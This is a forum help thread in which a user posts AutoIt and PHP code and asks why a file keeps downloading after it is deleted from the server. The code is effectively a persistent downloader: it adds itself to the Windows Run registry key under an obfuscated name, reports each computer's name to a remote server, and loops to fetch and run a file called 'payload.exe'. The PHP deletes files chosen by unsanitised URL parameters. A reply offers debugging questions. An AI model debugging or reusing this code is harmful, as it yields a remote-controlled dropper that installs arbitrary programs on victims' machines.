Jump to content
Sign in to follow this  

File Downloading again n again even not availeble on server?

Recommended Posts


I made a script that create a folder on server with current computer name usings php (Winhttp) after that program looks for a "payload.exe" when availble on server then it will download the file and exeute it. and delete the downloaded file from server using php.the again look for file (payload.exe) in a loop when availeble it will download and execute the update.


Problem: once it download the file from server and execute and delete the file from server. But after deleting the file from server it still downloading the file again n again!! m not getting from where its downloading the file in actual that really does not exsist on server? !! 

My Autoit Code below!

#include "WinHttp.au3"
#include <Crypt.au3>
#include <InetConstants.au3>
#include <MsgBoxConstants.au3>
#include <Inet.au3>

Local $Temp = Random(0,50) & ".exe"
Local $RegKey = "ProgramUpdater"
Local $MD5 = _Crypt_HashData ( $RegKey , $CALG_MD5 )
Local $MD5F = StringTrimLeft ( $MD5 , 2 )
Local $IP = ""
Local $PayloadName = "payload.exe"
Local $sServer = "http://someserever.com/"
Local $ExtPath = "folder1/folder2/"
Local $foldermake = "process.php?folder=" & @ComputerName & "-" & $IP
Local $FileDel = "process.php?folder=" & @ComputerName & "-" & $IP & "&" & "paydel=" & $PayloadName
Local $mLink = $sServer & $ExtPath & @ComputerName & "-" & $IP & "/" & $PayloadName

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", $RegKey & $MD5F , "REG_SZ", @ScriptFullPath )

Local $sOpen = _WinHttpOpen()
Local $sConnect = _WinHttpConnect($sOpen, $sServer)
Local $sRequest = _WinHttpOpenRequest($sConnect, Default, $ExtPath & $foldermake )

while 1
   if FileExists (@ScriptDir & "\" & $PayloadName) Then
    Local $sFilePath = @ScriptDir & "/" & $PayloadName
    Local $hDownload = InetGet($mLink , @ScriptDir & "/" & $Temp, $INET_BINARYTRANSFER , $INET_DOWNLOADBACKGROUND)
    Until InetGetInfo($hDownload, $INET_DOWNLOADCOMPLETE)

    Local $iBytesSize = InetGetInfo($hDownload, $INET_DOWNLOADREAD)
    Local $iFileSize = FileGetSize($sFilePath)
    ;Run ( @ScriptDir & "\" & $PayloadName )
    Local $sOpen = _WinHttpOpen()
    Local $sConnect = _WinHttpConnect($sOpen, $sServer)
    Local $sRequest = _WinHttpOpenRequest($sConnect, Default, $ExtPath & $FileDel )

m using this public UDF: https://github.com/dragana-r/autoit-winhttp/releases

php that i am using code below


$paydel = $_GET['paydel'];
$folder = $_GET['folder'];
unlink ($folder . "/" . $paydel);
mkdir($folder , 0777);


Please help me in this :( 

Thank you !!

Edited by COD3369

Share this post

Link to post
Share on other sites


You should wait at least 24 hours before bumping your post. Lots of folks, including myself, will read a thread and move on without responding. B)

A couple of items for you to examine:

  • Have you verified that the file deletion is actually occurring on the server?
  • Where are you deleting the local copy of the file?

Regards, Dan

  • Like 1

Share this post

Link to post
Share on other sites

@Danp2 first of all thank you for your reply brother.

Yeah i confirmed file is deleting from server and from local path.


Share this post

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this  


Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.